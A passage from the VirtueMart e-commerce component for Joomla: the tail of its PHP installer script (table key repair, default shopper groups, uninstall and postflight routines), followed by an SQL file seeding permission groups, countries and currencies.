$this->_db->loadObjectList(); $force = false; if($force or $fullColumns[0]->Field==$fieldname and strpos($fullColumns[0]->Type,'char')!==false){ vmdebug('Old key found, recreate'); // Yes, I know, it looks senselesss to create a field without autoincrement, to add a key and then the autoincrement and then they key again. // But seems the only method to drop and recreate primary, which has already data in it //First drop it $fields = array($fieldname => ''); if($this->alterTable($tablename,$fields,'DROP')){ //Now make the field, nothing must be entered $added = $this->checkAddFieldToTable($tablename,$fieldname,"INT(1) UNSIGNED NOT NULL FIRST"); if($added){ //Yes it should be primary, ohh it gets sorted, great $q = 'ALTER TABLE `'.$tablename.'` ADD KEY (`'.$fieldname.'`)'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: deleteReCreatePrimaryKey add KEY '.$this->_db->getErrorMsg() ); } //ahh, now we can make it auto_increment $fields = array($fieldname => '`'.$fieldname.'` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT FIRST'); $this->alterTable($tablename,$fields); //Great, now it actually takes the attribute being a primary $q = 'ALTER TABLE `'.$tablename.'` ADD PRIMARY KEY (`'.$fieldname.'`)'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app = JFactory::getApplication(); $app->enqueueMessage('Error: deleteReCreatePrimaryKey final add Primary '.$this->_db->getErrorMsg() ); } else { $q = 'ALTER TABLE `'.$tablename.'` DROP INDEX `'.$fieldname.'`'; $this->_db->setQuery($q); if(!$this->_db->query()){ $app->enqueueMessage('Error: deleteReCreatePrimaryKey final add Primary '.$this->_db->getErrorMsg() ); } } } } } } /** * Checks if both types of default shoppergroups are set * @author Max Milbers */ private function checkAddDefaultShoppergroups(){ $q = 'SELECT `virtuemart_shoppergroup_id` FROM `#__virtuemart_shoppergroups` WHERE `default` = "1" '; $this->_db = JFactory::getDbo(); $this->_db->setQuery($q); $res = $this->_db ->loadResult(); if(empty($res)){ $q = "INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`) VALUES (NULL, 1, '-default-', 'This is the default shopper group.', 1, 1);"; $this->_db->setQuery($q); $this->_db->query(); } $q = 'SELECT `virtuemart_shoppergroup_id` FROM `#__virtuemart_shoppergroups` WHERE `default` = "2" '; $this->_db->setQuery($q); $res = $this->_db ->loadResult(); if(empty($res)){ $q = "INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`) VALUES (NULL, 1, '-anonymous-', 'Shopper group for anonymous shoppers', 2, 1);"; $this->_db->setQuery($q); $this->_db->query(); } } private function changeShoppergroupDataSetAnonShopperToOne(){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_shoppergroups` WHERE virtuemart_shoppergroup_id = "1" '; $this->_db->setQuery($q); $sgroup = $this->_db->loadAssoc(); if($sgroup['default']!=2){ if(!class_exists('TableShoppergroups')) require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'shoppergroups.php'); $table = new TableShoppergroups($this->_db); $stdgroup = null; $stdgroup = array('virtuemart_shoppergroup_id' => 1, 'virtuemart_vendor_id' => 1, 'shopper_group_name' => '-anonymous-', 'shopper_group_desc' => 'Shopper group for anonymous shoppers', 'default' => 2, 'published' => 1, 'shared' => 1 ); $table -> bindChecknStore($stdgroup); $sgroup['virtuemart_shoppergroup_id'] = 0; $table = new TableShoppergroups($this->_db); $table -> bindChecknStore($sgroup); vmdebug('changeShoppergroupDataSetAnonShopperToOne $table',$table); } } private function joomlaSessionDBToMediumText(){ if(version_compare(JVERSION,'1.6.0','ge')) { $fields = array('data'=>'`data` mediumtext NULL AFTER `time`'); $this->alterTable('#__session',$fields); } } /** * Uninstall script * Triggers before database processing * * @param object JInstallerComponent parent * @return boolean True on success */ public function uninstall ($parent=null) { if(empty($this->path)){ $this->path = JPATH_VM_ADMINISTRATOR; } //$this->loadVm(); include($this->path.DS.'install'.DS.'uninstall.virtuemart.html.php'); return true; } /** * Post-process method (e.g. footer HTML, redirect, etc) * * @param string Process type (i.e. install, uninstall, update) * @param object JInstallerComponent parent */ public function postflight ($type, $parent=null) { //We want disable the redirect in the installation process if ($type != 'uninstall') { $this->loadVm(); // VmConfig::loadConfig(true); //if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'config.php'); $res = VirtueMartModelConfig::checkConfigTableExists(); //if($res){ JRequest::setVar(JUtility::getToken(), '1', 'post'); $config = JModel::getInstance('config', 'VirtueMartModel'); $config->setDangerousToolsOff(); //} } $_REQUEST['install'] = 0; //Test if vm1.1 is installed and rename file to avoid conflicts if(JFile::exists(JPATH_VM_ADMINISTRATOR.DS.'toolbar.php')){ JFile::move('toolbar.php','toolbar.vm1.php',JPATH_VM_ADMINISTRATOR); } //Prevents overwriting existing file. // if(!JFile::exists(JPATH_VM_ADMINISTRATOR.DS.'virtuemart_defaults.cfg')){ // JFile::copy('virtuemart_defaults.cfg-dist','virtuemart_defaults.cfg',JPATH_VM_ADMINISTRATOR); // } return true; } /** * copy all $src to $dst folder and remove it * * @author Max Milbers * @param String $src path * @param String $dst path * @param String $type modules, plugins, languageBE, languageFE */ private function recurse_copy($src,$dst ) { $dir = opendir($src); $this->createIndexFolder($dst); if(is_resource($dir)){ while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' )) { if ( is_dir($src .DS. $file) ) { $this->recurse_copy($src .DS. $file,$dst .DS. $file); } else { if(JFile::exists($dst .DS. $file)){ if(!JFile::delete($dst .DS. $file)){ $app = JFactory::getApplication(); $app -> enqueueMessage('Couldnt delete '.$dst .DS. $file); } } if(!JFile::move($src .DS. $file,$dst .DS. $file)){ $app = JFactory::getApplication(); $app -> enqueueMessage('Couldnt move '.$src .DS. $file.' to '.$dst .DS. $file); } } } } closedir($dir); if (is_dir($src)) JFolder::delete($src); } else { $app = JFactory::getApplication(); $app -> enqueueMessage('Couldnt read dir '.$dir.' source '.$src); } } /** * The param update IS used in the layout, do not remove * @param $update */ public function displayFinished($update){ include(JPATH_VM_ADMINISTRATOR.'/views/updatesmigration/tmpl/insfinished.php'); } } /** * Legacy j1.5 function to use the 1.6 class install/update * * @return boolean True on success * @deprecated */ function com_install() { $vmInstall = new com_virtuemartInstallerScript(); $upgrade = $vmInstall->checkIfUpdate(); if(version_compare(JVERSION,'1.6.0','ge')) { // Joomla! 1.6 code here } else { // Joomla! 1.5 code here $method = ($upgrade) ? 'update' : 'install'; $vmInstall->$method(); $vmInstall->postflight($method); } /* if ((JVM_VERSION===1)) { $method = ($upgrade) ? 'update' : 'install'; $vmInstall->$method(); $vmInstall->postflight($method); }*/ return true; } /** * Legacy j1.5 function to use the 1.6 class uninstall * * @return boolean True on success * @deprecated */ function com_uninstall() { $vmInstall = new com_virtuemartInstallerScript(); // $vmInstall->preflight('uninstall'); if(version_compare(JVERSION,'1.6.0','ge')) { // Joomla! 1.6 code here } else { $vmInstall->uninstall(); $vmInstall->postflight('uninstall'); } /* if (JVM_VERSION===1) { $vmInstall->uninstall(); $vmInstall->postflight('uninstall'); }*/ return true; } } // if(defined) // pure php no tag PK@y>\ǞHH;components/com_virtuemart/install/install_required_data.sqlnuW+A-- VirtueMart table data SQL script -- This will insert all sample data into the VirtueMart tables -- -- Dumping data for table `#__virtuemart_permgroups` -- INSERT INTO `#__virtuemart_permgroups` (`virtuemart_permgroup_id`, `group_name`, `group_level`) VALUES (1, 'admin', 0), (2, 'storeadmin', 250), (3, 'shopper', 500), (4, 'demo', 750); INSERT INTO `#__virtuemart_userfield_values` ( `virtuemart_userfield_id`, `fieldtitle`, `fieldvalue`, `sys`, `ordering`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES ( 10, 'COM_VIRTUEMART_SHOPPER_TITLE_MR', 'Mr', 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 10, 'COM_VIRTUEMART_SHOPPER_TITLE_MRS', 'Mrs', 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'None', '', 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Non-resident (Canada)', 'R', 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Federal government (United States)', 'A', 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'State government (United States)', 'B', 0, 2, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Tribe / Status Indian / Indian Band (both)', 'C', 0, 3, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Foreign diplomat (both)', 'D', 0, 4, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Charitable or benevolent org (both)', 'E', 0, 5, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Religious or educational org (both)', 'F', 0, 6, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Resale (both)', 'G', 0, 7, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Commercial agricultural production (both)', 'H', 0, 8, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Industrial production / manufacturer (both)', 'I', 0, 9, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Direct pay permit (United States)', 'J', 0, 10, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Direct mail (United States)', 'K', 0, 11, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Other (both)', 'L', 0, 12, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Local government (United States)', 'N', 0, 13, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Commercial aquaculture (Canada)', 'P', 0, 14, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Commercial Fishery (Canada)', 'Q', 0, 15, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); -- -- Dumping data for table `#__virtuemart_countries` -- INSERT INTO `#__virtuemart_countries` (`virtuemart_country_id`, `virtuemart_worldzone_id`, `country_name`, `country_3_code`, `country_2_code`) VALUES (1, 1, 'Afghanistan', 'AFG', 'AF'), (2, 1, 'Albania', 'ALB', 'AL'), (3, 1, 'Algeria', 'DZA', 'DZ'), (4, 1, 'American Samoa', 'ASM', 'AS'), (5, 1, 'Andorra', 'AND', 'AD'), (6, 1, 'Angola', 'AGO', 'AO'), (7, 1, 'Anguilla', 'AIA', 'AI'), (8, 1, 'Antarctica', 'ATA', 'AQ'), (9, 1, 'Antigua and Barbuda', 'ATG', 'AG'), (10, 1, 'Argentina', 'ARG', 'AR'), (11, 1, 'Armenia', 'ARM', 'AM'), (12, 1, 'Aruba', 'ABW', 'AW'), (13, 1, 'Australia', 'AUS', 'AU'), (14, 1, 'Austria', 'AUT', 'AT'), (15, 1, 'Azerbaijan', 'AZE', 'AZ'), (16, 1, 'Bahamas', 'BHS', 'BS'), (17, 1, 'Bahrain', 'BHR', 'BH'), (18, 1, 'Bangladesh', 'BGD', 'BD'), (19, 1, 'Barbados', 'BRB', 'BB'), (20, 1, 'Belarus', 'BLR', 'BY'), (21, 1, 'Belgium', 'BEL', 'BE'), (22, 1, 'Belize', 'BLZ', 'BZ'), (23, 1, 'Benin', 'BEN', 'BJ'), (24, 1, 'Bermuda', 'BMU', 'BM'), (25, 1, 'Bhutan', 'BTN', 'BT'), (26, 1, 'Bolivia', 'BOL', 'BO'), (27, 1, 'Bosnia and Herzegowina', 'BIH', 'BA'), (28, 1, 'Botswana', 'BWA', 'BW'), (29, 1, 'Bouvet Island', 'BVT', 'BV'), (30, 1, 'Brazil', 'BRA', 'BR'), (31, 1, 'British Indian Ocean Territory', 'IOT', 'IO'), (32, 1, 'Brunei Darussalam', 'BRN', 'BN'), (33, 1, 'Bulgaria', 'BGR', 'BG'), (34, 1, 'Burkina Faso', 'BFA', 'BF'), (35, 1, 'Burundi', 'BDI', 'BI'), (36, 1, 'Cambodia', 'KHM', 'KH'), (37, 1, 'Cameroon', 'CMR', 'CM'), (38, 1, 'Canada', 'CAN', 'CA'), (39, 1, 'Cape Verde', 'CPV', 'CV'), (40, 1, 'Cayman Islands', 'CYM', 'KY'), (41, 1, 'Central African Republic', 'CAF', 'CF'), (42, 1, 'Chad', 'TCD', 'TD'), (43, 1, 'Chile', 'CHL', 'CL'), (44, 1, 'China', 'CHN', 'CN'), (45, 1, 'Christmas Island', 'CXR', 'CX'), (46, 1, 'Cocos (Keeling) Islands', 'CCK', 'CC'), (47, 1, 'Colombia', 'COL', 'CO'), (48, 1, 'Comoros', 'COM', 'KM'), (49, 1, 'Congo', 'COG', 'CG'), (50, 1, 'Cook Islands', 'COK', 'CK'), (51, 1, 'Costa Rica', 'CRI', 'CR'), (52, 1, 'Cote D''Ivoire', 'CIV', 'CI'), (53, 1, 'Croatia', 'HRV', 'HR'), (54, 1, 'Cuba', 'CUB', 'CU'), (55, 1, 'Cyprus', 'CYP', 'CY'), (56, 1, 'Czech Republic', 'CZE', 'CZ'), (57, 1, 'Denmark', 'DNK', 'DK'), (58, 1, 'Djibouti', 'DJI', 'DJ'), (59, 1, 'Dominica', 'DMA', 'DM'), (60, 1, 'Dominican Republic', 'DOM', 'DO'), (61, 1, 'East Timor', 'TMP', 'TP'), (62, 1, 'Ecuador', 'ECU', 'EC'), (63, 1, 'Egypt', 'EGY', 'EG'), (64, 1, 'El Salvador', 'SLV', 'SV'), (65, 1, 'Equatorial Guinea', 'GNQ', 'GQ'), (66, 1, 'Eritrea', 'ERI', 'ER'), (67, 1, 'Estonia', 'EST', 'EE'), (68, 1, 'Ethiopia', 'ETH', 'ET'), (69, 1, 'Falkland Islands (Malvinas)', 'FLK', 'FK'), (70, 1, 'Faroe Islands', 'FRO', 'FO'), (71, 1, 'Fiji', 'FJI', 'FJ'), (72, 1, 'Finland', 'FIN', 'FI'), (73, 1, 'France', 'FRA', 'FR'), (75, 1, 'French Guiana', 'GUF', 'GF'), (76, 1, 'French Polynesia', 'PYF', 'PF'), (77, 1, 'French Southern Territories', 'ATF', 'TF'), (78, 1, 'Gabon', 'GAB', 'GA'), (79, 1, 'Gambia', 'GMB', 'GM'), (80, 1, 'Georgia', 'GEO', 'GE'), (81, 1, 'Germany', 'DEU', 'DE'), (82, 1, 'Ghana', 'GHA', 'GH'), (83, 1, 'Gibraltar', 'GIB', 'GI'), (84, 1, 'Greece', 'GRC', 'GR'), (85, 1, 'Greenland', 'GRL', 'GL'), (86, 1, 'Grenada', 'GRD', 'GD'), (87, 1, 'Guadeloupe', 'GLP', 'GP'), (88, 1, 'Guam', 'GUM', 'GU'), (89, 1, 'Guatemala', 'GTM', 'GT'), (90, 1, 'Guinea', 'GIN', 'GN'), (91, 1, 'Guinea-bissau', 'GNB', 'GW'), (92, 1, 'Guyana', 'GUY', 'GY'), (93, 1, 'Haiti', 'HTI', 'HT'), (94, 1, 'Heard and Mc Donald Islands', 'HMD', 'HM'), (95, 1, 'Honduras', 'HND', 'HN'), (96, 1, 'Hong Kong', 'HKG', 'HK'), (97, 1, 'Hungary', 'HUN', 'HU'), (98, 1, 'Iceland', 'ISL', 'IS'), (99, 1, 'India', 'IND', 'IN'), (100, 1, 'Indonesia', 'IDN', 'ID'), (101, 1, 'Iran (Islamic Republic of)', 'IRN', 'IR'), (102, 1, 'Iraq', 'IRQ', 'IQ'), (103, 1, 'Ireland', 'IRL', 'IE'), (104, 1, 'Israel', 'ISR', 'IL'), (105, 1, 'Italy', 'ITA', 'IT'), (106, 1, 'Jamaica', 'JAM', 'JM'), (107, 1, 'Japan', 'JPN', 'JP'), (108, 1, 'Jordan', 'JOR', 'JO'), (109, 1, 'Kazakhstan', 'KAZ', 'KZ'), (110, 1, 'Kenya', 'KEN', 'KE'), (111, 1, 'Kiribati', 'KIR', 'KI'), (112, 1, 'Korea, Democratic People''s Republic of', 'PRK', 'KP'), (113, 1, 'Korea, Republic of', 'KOR', 'KR'), (114, 1, 'Kuwait', 'KWT', 'KW'), (115, 1, 'Kyrgyzstan', 'KGZ', 'KG'), (116, 1, 'Lao People''s Democratic Republic', 'LAO', 'LA'), (117, 1, 'Latvia', 'LVA', 'LV'), (118, 1, 'Lebanon', 'LBN', 'LB'), (119, 1, 'Lesotho', 'LSO', 'LS'), (120, 1, 'Liberia', 'LBR', 'LR'), (121, 1, 'Libya', 'LBY', 'LY'), (122, 1, 'Liechtenstein', 'LIE', 'LI'), (123, 1, 'Lithuania', 'LTU', 'LT'), (124, 1, 'Luxembourg', 'LUX', 'LU'), (125, 1, 'Macau', 'MAC', 'MO'), (126, 1, 'Macedonia, The Former Yugoslav Republic of', 'MKD', 'MK'), (127, 1, 'Madagascar', 'MDG', 'MG'), (128, 1, 'Malawi', 'MWI', 'MW'), (129, 1, 'Malaysia', 'MYS', 'MY'), (130, 1, 'Maldives', 'MDV', 'MV'), (131, 1, 'Mali', 'MLI', 'ML'), (132, 1, 'Malta', 'MLT', 'MT'), (133, 1, 'Marshall Islands', 'MHL', 'MH'), (134, 1, 'Martinique', 'MTQ', 'MQ'), (135, 1, 'Mauritania', 'MRT', 'MR'), (136, 1, 'Mauritius', 'MUS', 'MU'), (137, 1, 'Mayotte', 'MYT', 'YT'), (138, 1, 'Mexico', 'MEX', 'MX'), (139, 1, 'Micronesia, Federated States of', 'FSM', 'FM'), (140, 1, 'Moldova, Republic of', 'MDA', 'MD'), (141, 1, 'Monaco', 'MCO', 'MC'), (142, 1, 'Mongolia', 'MNG', 'MN'), (143, 1, 'Montserrat', 'MSR', 'MS'), (144, 1, 'Morocco', 'MAR', 'MA'), (145, 1, 'Mozambique', 'MOZ', 'MZ'), (146, 1, 'Myanmar', 'MMR', 'MM'), (147, 1, 'Namibia', 'NAM', 'NA'), (148, 1, 'Nauru', 'NRU', 'NR'), (149, 1, 'Nepal', 'NPL', 'NP'), (150, 1, 'Netherlands', 'NLD', 'NL'), (151, 1, 'Netherlands Antilles', 'ANT', 'AN'), (152, 1, 'New Caledonia', 'NCL', 'NC'), (153, 1, 'New Zealand', 'NZL', 'NZ'), (154, 1, 'Nicaragua', 'NIC', 'NI'), (155, 1, 'Niger', 'NER', 'NE'), (156, 1, 'Nigeria', 'NGA', 'NG'), (157, 1, 'Niue', 'NIU', 'NU'), (158, 1, 'Norfolk Island', 'NFK', 'NF'), (159, 1, 'Northern Mariana Islands', 'MNP', 'MP'), (160, 1, 'Norway', 'NOR', 'NO'), (161, 1, 'Oman', 'OMN', 'OM'), (162, 1, 'Pakistan', 'PAK', 'PK'), (163, 1, 'Palau', 'PLW', 'PW'), (164, 1, 'Panama', 'PAN', 'PA'), (165, 1, 'Papua New Guinea', 'PNG', 'PG'), (166, 1, 'Paraguay', 'PRY', 'PY'), (167, 1, 'Peru', 'PER', 'PE'), (168, 1, 'Philippines', 'PHL', 'PH'), (169, 1, 'Pitcairn', 'PCN', 'PN'), (170, 1, 'Poland', 'POL', 'PL'), (171, 1, 'Portugal', 'PRT', 'PT'), (172, 1, 'Puerto Rico', 'PRI', 'PR'), (173, 1, 'Qatar', 'QAT', 'QA'), (174, 1, 'Reunion', 'REU', 'RE'), (175, 1, 'Romania', 'ROM', 'RO'), (176, 1, 'Russian Federation', 'RUS', 'RU'), (177, 1, 'Rwanda', 'RWA', 'RW'), (178, 1, 'Saint Kitts and Nevis', 'KNA', 'KN'), (179, 1, 'Saint Lucia', 'LCA', 'LC'), (180, 1, 'Saint Vincent and the Grenadines', 'VCT', 'VC'), (181, 1, 'Samoa', 'WSM', 'WS'), (182, 1, 'San Marino', 'SMR', 'SM'), (183, 1, 'Sao Tome and Principe', 'STP', 'ST'), (184, 1, 'Saudi Arabia', 'SAU', 'SA'), (185, 1, 'Senegal', 'SEN', 'SN'), (186, 1, 'Seychelles', 'SYC', 'SC'), (187, 1, 'Sierra Leone', 'SLE', 'SL'), (188, 1, 'Singapore', 'SGP', 'SG'), (189, 1, 'Slovakia', 'SVK', 'SK'), (190, 1, 'Slovenia', 'SVN', 'SI'), (191, 1, 'Solomon Islands', 'SLB', 'SB'), (192, 1, 'Somalia', 'SOM', 'SO'), (193, 1, 'South Africa', 'ZAF', 'ZA'), (194, 1, 'South Georgia and the South Sandwich Islands', 'SGS', 'GS'), (195, 1, 'Spain', 'ESP', 'ES'), (196, 1, 'Sri Lanka', 'LKA', 'LK'), (197, 1, 'St. Helena', 'SHN', 'SH'), (198, 1, 'St. Pierre and Miquelon', 'SPM', 'PM'), (199, 1, 'Sudan', 'SDN', 'SD'), (200, 1, 'Suriname', 'SUR', 'SR'), (201, 1, 'Svalbard and Jan Mayen Islands', 'SJM', 'SJ'), (202, 1, 'Swaziland', 'SWZ', 'SZ'), (203, 1, 'Sweden', 'SWE', 'SE'), (204, 1, 'Switzerland', 'CHE', 'CH'), (205, 1, 'Syrian Arab Republic', 'SYR', 'SY'), (206, 1, 'Taiwan', 'TWN', 'TW'), (207, 1, 'Tajikistan', 'TJK', 'TJ'), (208, 1, 'Tanzania, United Republic of', 'TZA', 'TZ'), (209, 1, 'Thailand', 'THA', 'TH'), (210, 1, 'Togo', 'TGO', 'TG'), (211, 1, 'Tokelau', 'TKL', 'TK'), (212, 1, 'Tonga', 'TON', 'TO'), (213, 1, 'Trinidad and Tobago', 'TTO', 'TT'), (214, 1, 'Tunisia', 'TUN', 'TN'), (215, 1, 'Turkey', 'TUR', 'TR'), (216, 1, 'Turkmenistan', 'TKM', 'TM'), (217, 1, 'Turks and Caicos Islands', 'TCA', 'TC'), (218, 1, 'Tuvalu', 'TUV', 'TV'), (219, 1, 'Uganda', 'UGA', 'UG'), (220, 1, 'Ukraine', 'UKR', 'UA'), (221, 1, 'United Arab Emirates', 'ARE', 'AE'), (222, 1, 'United Kingdom', 'GBR', 'GB'), (223, 1, 'United States', 'USA', 'US'), (224, 1, 'United States Minor Outlying Islands', 'UMI', 'UM'), (225, 1, 'Uruguay', 'URY', 'UY'), (226, 1, 'Uzbekistan', 'UZB', 'UZ'), (227, 1, 'Vanuatu', 'VUT', 'VU'), (228, 1, 'Vatican City State (Holy See)', 'VAT', 'VA'), (229, 1, 'Venezuela', 'VEN', 'VE'), (230, 1, 'Viet Nam', 'VNM', 'VN'), (231, 1, 'Virgin Islands (British)', 'VGB', 'VG'), (232, 1, 'Virgin Islands (U.S.)', 'VIR', 'VI'), (233, 1, 'Wallis and Futuna Islands', 'WLF', 'WF'), (234, 1, 'Western Sahara', 'ESH', 'EH'), (235, 1, 'Yemen', 'YEM', 'YE'), (237, 1, 'The Democratic Republic of Congo', 'DRC', 'DC'), (238, 1, 'Zambia', 'ZMB', 'ZM'), (239, 1, 'Zimbabwe', 'ZWE', 'ZW'), (240, 1, 'East Timor', 'XET', 'XE'), (241, 1, 'Jersey', 'JEY', 'JE'), (242, 1, 'St. Barthelemy', 'XSB', 'XB'), (243, 1, 'St. Eustatius', 'XSE', 'XU'), (244, 1, 'Canary Islands', 'XCA', 'XC'), (245, 1, 'Serbia', 'SRB', 'RS'), (246, 1, 'Sint Maarten (French Antilles)', 'MAF', 'MF'), (247, 1, 'Sint Maarten (Netherlands Antilles)', 'SXM', 'SX'), (248, 1, 'Palestinian Territory, occupied','PSE','PS') ; -- -- Dumping data for table `#__virtuemart_currencies` -- INSERT INTO `#__virtuemart_currencies` (`virtuemart_currency_id`, `virtuemart_vendor_id`, `currency_name`, `currency_code_2`, `currency_code_3`, `currency_numeric_code`, `currency_exchange_rate`, `currency_symbol`, `currency_decimal_place`, `currency_decimal_symbol`, `currency_thousands`, `currency_positive_style`, `currency_negative_style`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (2, 1, 'United Arab Emirates dirham', '', 'AED', 784, 0, 'د.إ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (4, 1, 'Albanian lek', '', 'ALL', 8, 0, 'Lek', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (5, 1, 'Netherlands Antillean gulden', '', 'ANG', 532, 0, 'ƒ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (7, 1, 'Argentine peso', '', 'ARS', 32, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (9, 1, 'Australian dollar', '', 'AUD', 36, 0, '$', '2', '.', ' ', '{symbol} {number}', '{sign}{symbol} {number} ', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (10, 1, 'Aruban florin', '', 'AWG', 533, 0, 'ƒ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (11, 1, 'Barbadian dollar', '', 'BBD', 52, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (12, 1, 'Bangladeshi taka', '', 'BDT', 50, 0, '৳', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (15, 1, 'Bahraini dinar', '', 'BHD', 48, 0, 'ب.د', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (16, 1, 'Burundian franc', '', 'BIF', 108, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (17, 1, 'Bermudian dollar', '', 'BMD', 60, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (18, 1, 'Brunei dollar', '', 'BND', 96, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (19, 1, 'Bolivian boliviano', '', 'BOB', 68, 0, '$b', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (20, 1, 'Brazilian real', '', 'BRL', 986, 0, 'R$', '2', ',', '.', '{symbol} {number}', '{symbol} {sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (21, 1, 'Bahamian dollar', '', 'BSD', 44, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (22, 1, 'Bhutanese ngultrum', '', 'BTN', 64, 0, 'BTN', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (24, 1, 'Botswana pula', '', 'BWP', 72, 0, 'P', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (25, 1, 'Belize dollar', '', 'BZD', 84, 0, 'BZ$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (26, 1, 'Canadian dollar', '', 'CAD', 124, 0, '$', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (27, 1, 'Swiss franc', '', 'CHF', 756, 0, 'CHF', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 